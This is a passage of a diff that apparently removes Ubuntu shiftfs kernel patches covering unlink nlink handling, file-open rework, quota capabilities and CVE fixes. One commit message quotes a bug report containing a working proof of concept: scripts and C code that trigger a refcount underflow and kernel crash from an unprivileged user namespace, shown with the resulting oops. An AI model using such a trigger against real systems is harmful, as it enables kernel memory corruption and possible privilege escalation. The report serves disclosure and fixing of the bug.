-index 9006201c243d..e80db9480b5c 100644 |
4140 |
---- a/fs/shiftfs.c |
4141 |
-+++ b/fs/shiftfs.c |
4142 |
-@@ -585,6 +585,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
4143 |
- { |
4144 |
- struct dentry *lowerd = dentry->d_fsdata; |
4145 |
- struct inode *loweri = dir->i_private; |
4146 |
-+ struct inode *inode = d_inode(dentry); |
4147 |
- int err; |
4148 |
- const struct cred *oldcred; |
4149 |
- |
4150 |
-@@ -594,15 +595,19 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
4151 |
- err = vfs_rmdir(loweri, lowerd); |
4152 |
- else |
4153 |
- err = vfs_unlink(loweri, lowerd, NULL); |
4154 |
-- inode_unlock(loweri); |
4155 |
- revert_creds(oldcred); |
4156 |
- |
4157 |
-- shiftfs_copyattr(loweri, dir); |
4158 |
-- set_nlink(d_inode(dentry), loweri->i_nlink); |
4159 |
-- if (!err) |
4160 |
-+ if (!err) { |
4161 |
- d_drop(dentry); |
4162 |
- |
4163 |
-- set_nlink(dir, loweri->i_nlink); |
4164 |
-+ if (rmdir) |
4165 |
-+ clear_nlink(inode); |
4166 |
-+ else |
4167 |
-+ drop_nlink(inode); |
4168 |
-+ } |
4169 |
-+ inode_unlock(loweri); |
4170 |
-+ |
4171 |
-+ shiftfs_copyattr(loweri, dir); |
4172 |
- |
4173 |
- return err; |
4174 |
- } |
4175 |
--- |
4176 |
-2.39.2 |
4177 |
- |
4178 |
-From 81445d2871aef886eabb56c7f124d491f445fcc7 Mon Sep 17 00:00:00 2001 |
4179 |
-From: Christian Brauner <christian.brauner@××××××.com> |
4180 |
-Date: Fri, 30 Aug 2019 14:14:31 +0200 |
4181 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: mark slab objects |
4182 |
- SLAB_RECLAIM_ACCOUNT |
4183 |
-Cc: mpagano@g.o |
4184 |
- |
4185 |
-BugLink: https://bugs.launchpad.net/bugs/1842059 |
4186 |
- |
4187 |
-Shiftfs does not mark it's slab cache as reclaimable. While this is not |
4188 |
-a big deal it is not nice to the kernel in general. The shiftfs cache is |
4189 |
-not so important that it can't be reclaimed. |
4190 |
- |
4191 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4192 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4193 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4194 |
---- |
4195 |
- fs/shiftfs.c | 2 +- |
4196 |
- 1 file changed, 1 insertion(+), 1 deletion(-) |
4197 |
- |
4198 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4199 |
-index e80db9480b5c..a21cb473e000 100644 |
4200 |
---- a/fs/shiftfs.c |
4201 |
-+++ b/fs/shiftfs.c |
4202 |
-@@ -2108,7 +2108,7 @@ static int __init shiftfs_init(void) |
4203 |
- { |
4204 |
- shiftfs_file_info_cache = kmem_cache_create( |
4205 |
- "shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0, |
4206 |
-- SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL); |
4207 |
-+ SLAB_RECLAIM_ACCOUNT | SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL); |
4208 |
- if (!shiftfs_file_info_cache) |
4209 |
- return -ENOMEM; |
4210 |
- |
4211 |
--- |
4212 |
-2.39.2 |
4213 |
- |
4214 |
-From 3d0e90c90e6b1b915b9ac760c865529b28cf1cdd Mon Sep 17 00:00:00 2001 |
4215 |
-From: Christian Brauner <christian.brauner@××××××.com> |
4216 |
-Date: Wed, 2 Oct 2019 09:57:14 +0200 |
4217 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: rework how shiftfs opens files |
4218 |
-Cc: mpagano@g.o |
4219 |
- |
4220 |
-BugLink: https://bugs.launchpad.net/bugs/1846265 |
4221 |
- |
4222 |
-This commit simplifies how shiftfs open files, both regular files an |
4223 |
-directories. |
4224 |
- |
4225 |
-In the first iteration, we implemented a kmem cache for struct |
4226 |
-shiftfs_file_info which stashed away a struct path and the struct file |
4227 |
-for the underlay. The path however was never used anywhere so the struct |
4228 |
-shiftfs_file_info and therefore the whole kmem cache can go away. |
4229 |
-Instead we move to the same model as overlayfs and just stash away the |
4230 |
-struct file for the underlay in file->private_data of the shiftfs struct |
4231 |
-file. |
4232 |
-Addtionally, we split the .open method for files and directories. |
4233 |
-Similar to overlayfs .open for regular files uses open_with_fake_path() |
4234 |
-which ensures that it doesn't contribute to the open file count (since |
4235 |
-this would mean we'd count double). The .open method for directories |
4236 |
-however used dentry_open() which contributes to the open file count. |
4237 |
- |
4238 |
-The basic logic for opening files is unchanged. The main point is to |
4239 |
-ensure that a reference to the underlay's dentry is kept through struct |
4240 |
-path. |
4241 |
- |
4242 |
-Various bits and pieces of this were cooked up in discussions Seth and I |
4243 |
-had in Paris. |
4244 |
- |
4245 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4246 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4247 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4248 |
---- |
4249 |
- fs/shiftfs.c | 105 +++++++++++++++++++++++---------------------------- |
4250 |
- 1 file changed, 47 insertions(+), 58 deletions(-) |
4251 |
- |
4252 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4253 |
-index a21cb473e000..55bb32b611f2 100644 |
4254 |
---- a/fs/shiftfs.c |
4255 |
-+++ b/fs/shiftfs.c |
4256 |
-@@ -31,13 +31,6 @@ struct shiftfs_super_info { |
4257 |
- unsigned int passthrough_mark; |
4258 |
- }; |
4259 |
- |
4260 |
--struct shiftfs_file_info { |
4261 |
-- struct path realpath; |
4262 |
-- struct file *realfile; |
4263 |
--}; |
4264 |
-- |
4265 |
--struct kmem_cache *shiftfs_file_info_cache; |
4266 |
-- |
4267 |
- static void shiftfs_fill_inode(struct inode *inode, unsigned long ino, |
4268 |
- umode_t mode, dev_t dev, struct dentry *dentry); |
4269 |
- |
4270 |
-@@ -1042,21 +1035,21 @@ static const struct inode_operations shiftfs_symlink_inode_operations = { |
4271 |
- }; |
4272 |
- |
4273 |
- static struct file *shiftfs_open_realfile(const struct file *file, |
4274 |
-- struct path *realpath) |
4275 |
-+ struct inode *realinode) |
4276 |
- { |
4277 |
-- struct file *lowerf; |
4278 |
-- const struct cred *oldcred; |
4279 |
-+ struct file *realfile; |
4280 |
-+ const struct cred *old_cred; |
4281 |
- struct inode *inode = file_inode(file); |
4282 |
-- struct inode *loweri = realpath->dentry->d_inode; |
4283 |
-+ struct dentry *lowerd = file->f_path.dentry->d_fsdata; |
4284 |
- struct shiftfs_super_info *info = inode->i_sb->s_fs_info; |
4285 |
-+ struct path realpath = { .mnt = info->mnt, .dentry = lowerd }; |
4286 |
- |
4287 |
-- oldcred = shiftfs_override_creds(inode->i_sb); |
4288 |
-- /* XXX: open_with_fake_path() not gauranteed to stay around, if |
4289 |
-- * removed use dentry_open() */ |
4290 |
-- lowerf = open_with_fake_path(realpath, file->f_flags, loweri, info->creator_cred); |
4291 |
-- revert_creds(oldcred); |
4292 |
-+ old_cred = shiftfs_override_creds(inode->i_sb); |
4293 |
-+ realfile = open_with_fake_path(&realpath, file->f_flags, realinode, |
4294 |
-+ info->creator_cred); |
4295 |
-+ revert_creds(old_cred); |
4296 |
- |
4297 |
-- return lowerf; |
4298 |
-+ return realfile; |
4299 |
- } |
4300 |
- |
4301 |
- #define SHIFTFS_SETFL_MASK (O_APPEND | O_NONBLOCK | O_NDELAY | O_DIRECT) |
4302 |
-@@ -1096,8 +1089,7 @@ static int shiftfs_change_flags(struct file *file, unsigned int flags) |
4303 |
- |
4304 |
- static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
4305 |
- { |
4306 |
-- struct shiftfs_file_info *file_info = file->private_data; |
4307 |
-- struct file *realfile = file_info->realfile; |
4308 |
-+ struct file *realfile = file->private_data; |
4309 |
- |
4310 |
- lowerfd->flags = 0; |
4311 |
- lowerfd->file = realfile; |
4312 |
-@@ -1111,51 +1103,57 @@ static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
4313 |
- |
4314 |
- static int shiftfs_open(struct inode *inode, struct file *file) |
4315 |
- { |
4316 |
-- struct shiftfs_super_info *ssi = inode->i_sb->s_fs_info; |
4317 |
-- struct shiftfs_file_info *file_info; |
4318 |
- struct file *realfile; |
4319 |
-- struct path *realpath; |
4320 |
- |
4321 |
-- file_info = kmem_cache_zalloc(shiftfs_file_info_cache, GFP_KERNEL); |
4322 |
-- if (!file_info) |
4323 |
-- return -ENOMEM; |
4324 |
-- |
4325 |
-- realpath = &file_info->realpath; |
4326 |
-- realpath->mnt = ssi->mnt; |
4327 |
-- realpath->dentry = file->f_path.dentry->d_fsdata; |
4328 |
-- |
4329 |
-- realfile = shiftfs_open_realfile(file, realpath); |
4330 |
-- if (IS_ERR(realfile)) { |
4331 |
-- kmem_cache_free(shiftfs_file_info_cache, file_info); |
4332 |
-+ realfile = shiftfs_open_realfile(file, inode->i_private); |
4333 |
-+ if (IS_ERR(realfile)) |
4334 |
- return PTR_ERR(realfile); |
4335 |
-- } |
4336 |
- |
4337 |
-- file->private_data = file_info; |
4338 |
-+ file->private_data = realfile; |
4339 |
- /* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO. */ |
4340 |
- file->f_mapping = realfile->f_mapping; |
4341 |
- |
4342 |
-- file_info->realfile = realfile; |
4343 |
- return 0; |
4344 |
- } |
4345 |
- |
4346 |
--static int shiftfs_release(struct inode *inode, struct file *file) |
4347 |
-+static int shiftfs_dir_open(struct inode *inode, struct file *file) |
4348 |
- { |
4349 |
-- struct shiftfs_file_info *file_info = file->private_data; |
4350 |
-+ struct file *realfile; |
4351 |
-+ const struct cred *oldcred; |
4352 |
-+ struct dentry *lowerd = file->f_path.dentry->d_fsdata; |
4353 |
-+ struct shiftfs_super_info *info = inode->i_sb->s_fs_info; |
4354 |
-+ struct path realpath = { .mnt = info->mnt, .dentry = lowerd }; |
4355 |
-+ |
4356 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
4357 |
-+ realfile = dentry_open(&realpath, file->f_flags | O_NOATIME, |
4358 |
-+ info->creator_cred); |
4359 |
-+ revert_creds(oldcred); |
4360 |
-+ if (IS_ERR(realfile)) |
4361 |
-+ return PTR_ERR(realfile); |
4362 |
- |
4363 |
-- if (file_info) { |
4364 |
-- if (file_info->realfile) |
4365 |
-- fput(file_info->realfile); |
4366 |
-+ file->private_data = realfile; |
4367 |
- |
4368 |
-- kmem_cache_free(shiftfs_file_info_cache, file_info); |
4369 |
-- } |
4370 |
-+ return 0; |
4371 |
-+} |
4372 |
-+ |
4373 |
-+static int shiftfs_release(struct inode *inode, struct file *file) |
4374 |
-+{ |
4375 |
-+ struct file *realfile = file->private_data; |
4376 |
-+ |
4377 |
-+ if (realfile) |
4378 |
-+ fput(realfile); |
4379 |
- |
4380 |
- return 0; |
4381 |
- } |
4382 |
- |
4383 |
-+static int shiftfs_dir_release(struct inode *inode, struct file *file) |
4384 |
-+{ |
4385 |
-+ return shiftfs_release(inode, file); |
4386 |
-+} |
4387 |
-+ |
4388 |
- static loff_t shiftfs_dir_llseek(struct file *file, loff_t offset, int whence) |
4389 |
- { |
4390 |
-- struct shiftfs_file_info *file_info = file->private_data; |
4391 |
-- struct file *realfile = file_info->realfile; |
4392 |
-+ struct file *realfile = file->private_data; |
4393 |
- |
4394 |
- return vfs_llseek(realfile, offset, whence); |
4395 |
- } |
4396 |
-@@ -1274,8 +1272,7 @@ static int shiftfs_fsync(struct file *file, loff_t start, loff_t end, |
4397 |
- |
4398 |
- static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma) |
4399 |
- { |
4400 |
-- struct shiftfs_file_info *file_info = file->private_data; |
4401 |
-- struct file *realfile = file_info->realfile; |
4402 |
-+ struct file *realfile = file->private_data; |
4403 |
- const struct cred *oldcred; |
4404 |
- int ret; |
4405 |
- |
4406 |
-@@ -1671,8 +1668,7 @@ static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx) |
4407 |
- { |
4408 |
- const struct cred *oldcred; |
4409 |
- int err = -ENOTDIR; |
4410 |
-- struct shiftfs_file_info *file_info = file->private_data; |
4411 |
-- struct file *realfile = file_info->realfile; |
4412 |
-+ struct file *realfile = file->private_data; |
4413 |
- |
4414 |
- oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
4415 |
- err = iterate_dir(realfile, ctx); |
4416 |
-@@ -1698,13 +1694,13 @@ const struct file_operations shiftfs_file_operations = { |
4417 |
- }; |
4418 |
- |
4419 |
- const struct file_operations shiftfs_dir_operations = { |
4420 |
-+ .open = shiftfs_dir_open, |
4421 |
-+ .release = shiftfs_dir_release, |
4422 |
- .compat_ioctl = shiftfs_compat_ioctl, |
4423 |
- .fsync = shiftfs_fsync, |
4424 |
- .iterate_shared = shiftfs_iterate_shared, |
4425 |
- .llseek = shiftfs_dir_llseek, |
4426 |
-- .open = shiftfs_open, |
4427 |
- .read = generic_read_dir, |
4428 |
-- .release = shiftfs_release, |
4429 |
- .unlocked_ioctl = shiftfs_ioctl, |
4430 |
- }; |
4431 |
- |
4432 |
-@@ -2106,19 +2102,12 @@ static struct file_system_type shiftfs_type = { |
4433 |
- |
4434 |
- static int __init shiftfs_init(void) |
4435 |
- { |
4436 |
-- shiftfs_file_info_cache = kmem_cache_create( |
4437 |
-- "shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0, |
4438 |
-- SLAB_RECLAIM_ACCOUNT | SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL); |
4439 |
-- if (!shiftfs_file_info_cache) |
4440 |
-- return -ENOMEM; |
4441 |
-- |
4442 |
- return register_filesystem(&shiftfs_type); |
4443 |
- } |
4444 |
- |
4445 |
- static void __exit shiftfs_exit(void) |
4446 |
- { |
4447 |
- unregister_filesystem(&shiftfs_type); |
4448 |
-- kmem_cache_destroy(shiftfs_file_info_cache); |
4449 |
- } |
4450 |
- |
4451 |
- MODULE_ALIAS_FS("shiftfs"); |
4452 |
--- |
4453 |
-2.39.2 |
4454 |
- |
4455 |
-From 0afd6d19d12a42d7905110a41cdb3815e023467c Mon Sep 17 00:00:00 2001 |
4456 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
4457 |
-Date: Wed, 6 Nov 2019 09:38:57 -0600 |
4458 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Restore vm_file value when lower fs |
4459 |
- mmap fails |
4460 |
-Cc: mpagano@g.o |
4461 |
- |
4462 |
-BugLink: https://bugs.launchpad.net/bugs/1850994 |
4463 |
- |
4464 |
-shiftfs_mmap() overwrites vma->vm_file before calling the lower |
4465 |
-filesystem mmap but does not restore the original value on |
4466 |
-failure. This means it is giving a pointer to the lower fs file |
4467 |
-back to the caller with no reference, which is a bad practice. |
4468 |
-However, it does not lead to any issues with upstream kernels as |
4469 |
-no caller accesses vma->vm_file after call_mmap(). |
4470 |
- |
4471 |
-With the aufs patches applied the story is different. Whereas |
4472 |
-mmap_region() previously fput a local variable containing the |
4473 |
-file it assigned to vm_file, it now calls vma_fput() which will |
4474 |
-fput vm_file, for which it has no reference, and the reference |
4475 |
-for the original vm_file is not put. |
4476 |
- |
4477 |
-Fix this by restoring vma->vm_file to the original value when the |
4478 |
-mmap call into the lower fs fails. |
4479 |
- |
4480 |
-CVE-2019-15794 |
4481 |
- |
4482 |
-Reported-by: Jann Horn <jannh@××××××.com> |
4483 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4484 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4485 |
---- |
4486 |
- fs/shiftfs.c | 15 +++++++++++---- |
4487 |
- 1 file changed, 11 insertions(+), 4 deletions(-) |
4488 |
- |
4489 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4490 |
-index 55bb32b611f2..57d84479026b 100644 |
4491 |
---- a/fs/shiftfs.c |
4492 |
-+++ b/fs/shiftfs.c |
4493 |
-@@ -1289,10 +1289,17 @@ static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma) |
4494 |
- |
4495 |
- shiftfs_file_accessed(file); |
4496 |
- |
4497 |
-- if (ret) |
4498 |
-- fput(realfile); /* Drop refcount from new vm_file value */ |
4499 |
-- else |
4500 |
-- fput(file); /* Drop refcount from previous vm_file value */ |
4501 |
-+ if (ret) { |
4502 |
-+ /* |
4503 |
-+ * Drop refcount from new vm_file value and restore original |
4504 |
-+ * vm_file value |
4505 |
-+ */ |
4506 |
-+ vma->vm_file = file; |
4507 |
-+ fput(realfile); |
4508 |
-+ } else { |
4509 |
-+ /* Drop refcount from previous vm_file value */ |
4510 |
-+ fput(file); |
4511 |
-+ } |
4512 |
- |
4513 |
- return ret; |
4514 |
- } |
4515 |
--- |
4516 |
-2.39.2 |
4517 |
- |
4518 |
-From 5b548337ff886dfb00ec3a142693226394673126 Mon Sep 17 00:00:00 2001 |
4519 |
-From: Christian Brauner <christian.brauner@××××××.com> |
4520 |
-Date: Wed, 23 Oct 2019 14:22:28 +0200 |
4521 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: setup correct s_maxbytes limit |
4522 |
-Cc: mpagano@g.o |
4523 |
- |
4524 |
-BugLink: https://bugs.launchpad.net/bugs/1849482 |
4525 |
- |
4526 |
-Set the s_maxbytes limit to MAX_LFS_FILESIZE. |
4527 |
-Currently shiftfs limits the maximum size for fallocate() needlessly |
4528 |
-causing calls such as fallocate --length 2GB ./file to fail. This |
4529 |
-limitation is arbitrary since it's not caused by the underlay but |
4530 |
-rather by shiftfs itself capping the s_maxbytes. This causes bugs such |
4531 |
-as the one reported in [1]. |
4532 |
- |
4533 |
-[1]: https://github.com/lxc/lxd/issues/6333 |
4534 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4535 |
-Acked-by: Connor Kuehl <connor.kuehl@×××××××××.com> |
4536 |
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com> |
4537 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4538 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4539 |
---- |
4540 |
- fs/shiftfs.c | 1 + |
4541 |
- 1 file changed, 1 insertion(+) |
4542 |
- |
4543 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4544 |
-index 57d84479026b..6a2b5e3d0d53 100644 |
4545 |
---- a/fs/shiftfs.c |
4546 |
-+++ b/fs/shiftfs.c |
4547 |
-@@ -2064,6 +2064,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
4548 |
- inode->i_private = dentry->d_inode; |
4549 |
- |
4550 |
- sb->s_magic = SHIFTFS_MAGIC; |
4551 |
-+ sb->s_maxbytes = MAX_LFS_FILESIZE; |
4552 |
- sb->s_op = &shiftfs_super_ops; |
4553 |
- sb->s_xattr = shiftfs_xattr_handlers; |
4554 |
- sb->s_d_op = &shiftfs_dentry_ops; |
4555 |
--- |
4556 |
-2.39.2 |
4557 |
- |
4558 |
-From fa7001e866380a4d2f45022295b6db1fd0cf12c5 Mon Sep 17 00:00:00 2001 |
4559 |
-From: Christian Brauner <christian.brauner@××××××.com> |
4560 |
-Date: Wed, 23 Oct 2019 14:23:50 +0200 |
4561 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: drop CAP_SYS_RESOURCE from effective |
4562 |
- capabilities |
4563 |
-Cc: mpagano@g.o |
4564 |
- |
4565 |
-BugLink: https://bugs.launchpad.net/bugs/1849483 |
4566 |
- |
4567 |
-Currently shiftfs allows to exceed project quota and reserved space on |
4568 |
-e.g. ext2. See [1] and especially [2] for a bug report. This is very |
4569 |
-much not what we want. Quotas and reserverd space settings set on the |
4570 |
-host need to respected. The cause for this issue is overriding the |
4571 |
-credentials with the superblock creator's credentials whenever we |
4572 |
-perform operations such as fallocate() or writes while retaining |
4573 |
-CAP_SYS_RESOURCE. |
4574 |
- |
4575 |
-The fix is to drop CAP_SYS_RESOURCE from the effective capability set |
4576 |
-after we have made a copy of the superblock creator's credential at |
4577 |
-superblock creation time. This very likely gives us more security than |
4578 |
-we had before and the regression potential seems limited. I would like |
4579 |
-to try this apporach first before coming up with something potentially |
4580 |
-more sophisticated. I don't see why CAP_SYS_RESOURCE should become a |
4581 |
-limiting factor in most use-cases. |
4582 |
- |
4583 |
-[1]: https://github.com/lxc/lxd/issues/6333 |
4584 |
-[2]: https://github.com/lxc/lxd/issues/6333#issuecomment-545154838 |
4585 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4586 |
-Acked-by: Connor Kuehl <connor.kuehl@×××××××××.com> |
4587 |
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com> |
4588 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4589 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4590 |
---- |
4591 |
- fs/shiftfs.c | 8 ++++++-- |
4592 |
- 1 file changed, 6 insertions(+), 2 deletions(-) |
4593 |
- |
4594 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4595 |
-index 6a2b5e3d0d53..0d6ce377b07c 100644 |
4596 |
---- a/fs/shiftfs.c |
4597 |
-+++ b/fs/shiftfs.c |
4598 |
-@@ -1958,6 +1958,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
4599 |
- sb->s_flags |= SB_POSIXACL; |
4600 |
- |
4601 |
- if (sbinfo->mark) { |
4602 |
-+ struct cred *cred_tmp; |
4603 |
- struct super_block *lower_sb = path.mnt->mnt_sb; |
4604 |
- |
4605 |
- /* to mark a mount point, must root wrt lower s_user_ns */ |
4606 |
-@@ -2012,11 +2013,14 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
4607 |
- sbinfo->passthrough_mark = sbinfo->passthrough; |
4608 |
- } |
4609 |
- |
4610 |
-- sbinfo->creator_cred = prepare_creds(); |
4611 |
-- if (!sbinfo->creator_cred) { |
4612 |
-+ cred_tmp = prepare_creds(); |
4613 |
-+ if (!cred_tmp) { |
4614 |
- err = -ENOMEM; |
4615 |
- goto out_put_path; |
4616 |
- } |
4617 |
-+ /* Don't override disk quota limits or use reserved space. */ |
4618 |
-+ cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE); |
4619 |
-+ sbinfo->creator_cred = cred_tmp; |
4620 |
- } else { |
4621 |
- /* |
4622 |
- * This leg executes if we're admin capable in the namespace, |
4623 |
--- |
4624 |
-2.39.2 |
4625 |
- |
4626 |
-From a73880c13fc011fba13bfbf3197b98500c8c4906 Mon Sep 17 00:00:00 2001 |
4627 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
4628 |
-Date: Fri, 1 Nov 2019 10:41:03 -0500 |
4629 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl |
4630 |
- handling |
4631 |
-Cc: mpagano@g.o |
4632 |
- |
4633 |
-BugLink: https://bugs.launchpad.net/bugs/1850867 |
4634 |
- |
4635 |
-shiftfs_btrfs_ioctl_fd_replace() installs an fd referencing a |
4636 |
-file from the lower filesystem without taking an additional |
4637 |
-reference to that file. After the btrfs ioctl completes this fd |
4638 |
-is closed, which then puts a reference to that file, leading to a |
4639 |
-refcount underflow. Original bug report and test case from Jann |
4640 |
-Horn is below. |
4641 |
- |
4642 |
-Fix this, and at the sametime simplify the management of the fd |
4643 |
-to the lower file for the ioctl. In |
4644 |
-shiftfs_btrfs_ioctl_fd_replace(), take the missing reference to |
4645 |
-the lower file and set FDPUT_FPUT so that this reference will get |
4646 |
-dropped on fdput() in error paths. Do not maintain the struct fd |
4647 |
-in the caller, as it the fd installed in the fd table is |
4648 |
-sufficient to properly clean up. Finally, remove the fdput() in |
4649 |
-shiftfs_btrfs_ioctl_fd_restore() as it is redundant with the |
4650 |
-__close_fd() call. |
4651 |
- |
4652 |
-Original report from Jann Horn: |
4653 |
- |
4654 |
-In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me): |
4655 |
- |
4656 |
- src = fdget(oldfd); |
4657 |
- if (!src.file) |
4658 |
- return -EINVAL; |
4659 |
- // src holds one reference (assuming multithreaded execution) |
4660 |
- |
4661 |
- ret = shiftfs_real_fdget(src.file, lfd); |
4662 |
- // lfd->file is a file* now, but shiftfs_real_fdget didn't take any |
4663 |
- // extra references |
4664 |
- fdput(src); |
4665 |
- // this drops the only reference we were holding on src, and src was |
4666 |
- // the only thing holding a reference to lfd->file. lfd->file may be |
4667 |
- // dangling at this point. |
4668 |
- if (ret) |
4669 |
- return ret; |
4670 |
- |
4671 |
- *newfd = get_unused_fd_flags(lfd->file->f_flags); |
4672 |
- if (*newfd < 0) { |
4673 |
- // always a no-op |
4674 |
- fdput(*lfd); |
4675 |
- return *newfd; |
4676 |
- } |
4677 |
- |
4678 |
- fd_install(*newfd, lfd->file); |
4679 |
- // fd_install() consumes a counted reference, but we don't hold any |
4680 |
- // counted references. so at this point, if lfd->file hasn't been freed |
4681 |
- // yet, its refcount is one lower than it ought to be. |
4682 |
- |
4683 |
- [...] |
4684 |
- |
4685 |
- // the following code is refcount-neutral, so the refcount stays one too |
4686 |
- // low. |
4687 |
- if (ret) |
4688 |
- shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2); |
4689 |
- |
4690 |
-shiftfs_real_fdget() is implemented as follows: |
4691 |
- |
4692 |
-static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
4693 |
-{ |
4694 |
- struct shiftfs_file_info *file_info = file->private_data; |
4695 |
- struct file *realfile = file_info->realfile; |
4696 |
- |
4697 |
- lowerfd->flags = 0; |
4698 |
- lowerfd->file = realfile; |
4699 |
- |
4700 |
- /* Did the flags change since open? */ |
4701 |
- if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) |
4702 |
- return shiftfs_change_flags(lowerfd->file, file->f_flags); |
4703 |
- |
4704 |
- return 0; |
4705 |
-} |
4706 |
- |
4707 |
-Therefore, the following PoC will cause reference count overdecrements; I ran it |
4708 |
-with SLUB debugging enabled and got the following splat: |
4709 |
- |
4710 |
-======================================= |
4711 |
-user@ubuntu1910vm:~/shiftfs$ cat run.sh |
4712 |
-sync |
4713 |
-unshare -mUr ./run2.sh |
4714 |
-t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh |
4715 |
-set -e |
4716 |
- |
4717 |
-mkdir -p mnt/tmpfs |
4718 |
-mkdir -p mnt/shiftfs |
4719 |
-mount -t tmpfs none mnt/tmpfs |
4720 |
-mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs |
4721 |
-mount|grep shift |
4722 |
-touch mnt/tmpfs/foo |
4723 |
-gcc -o ioctl ioctl.c -Wall |
4724 |
-./ioctl |
4725 |
-user@ubuntu1910vm:~/shiftfs$ cat ioctl.c |
4726 |
- |
4727 |
-int main(void) { |
4728 |
- int root = open("mnt/shiftfs", O_RDONLY); |
4729 |
- if (root == -1) err(1, "open shiftfs root"); |
4730 |
- int foofd = openat(root, "foo", O_RDONLY); |
4731 |
- if (foofd == -1) err(1, "open foofd"); |
4732 |
- struct btrfs_ioctl_vol_args iocarg = { |
4733 |
- .fd = foofd |
4734 |
- }; |
4735 |
- ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg); |
4736 |
- sleep(1); |
4737 |
- void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); |
4738 |
- if (map != MAP_FAILED) munmap(map, 0x1000); |
4739 |
-} |
4740 |
-user@ubuntu1910vm:~/shiftfs$ ./run.sh |
4741 |
-none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000) |
4742 |
-/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2) |
4743 |
-[ 183.463452] general protection fault: 0000 [#1] SMP PTI |
4744 |
-[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu |
4745 |
-[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 |
4746 |
-[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] |
4747 |
-[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 |
4748 |
-[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206 |
4749 |
-[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000 |
4750 |
-[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400 |
4751 |
-[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000 |
4752 |
-[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0 |
4753 |
-[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40 |
4754 |
-[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000 |
4755 |
-[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 |
4756 |
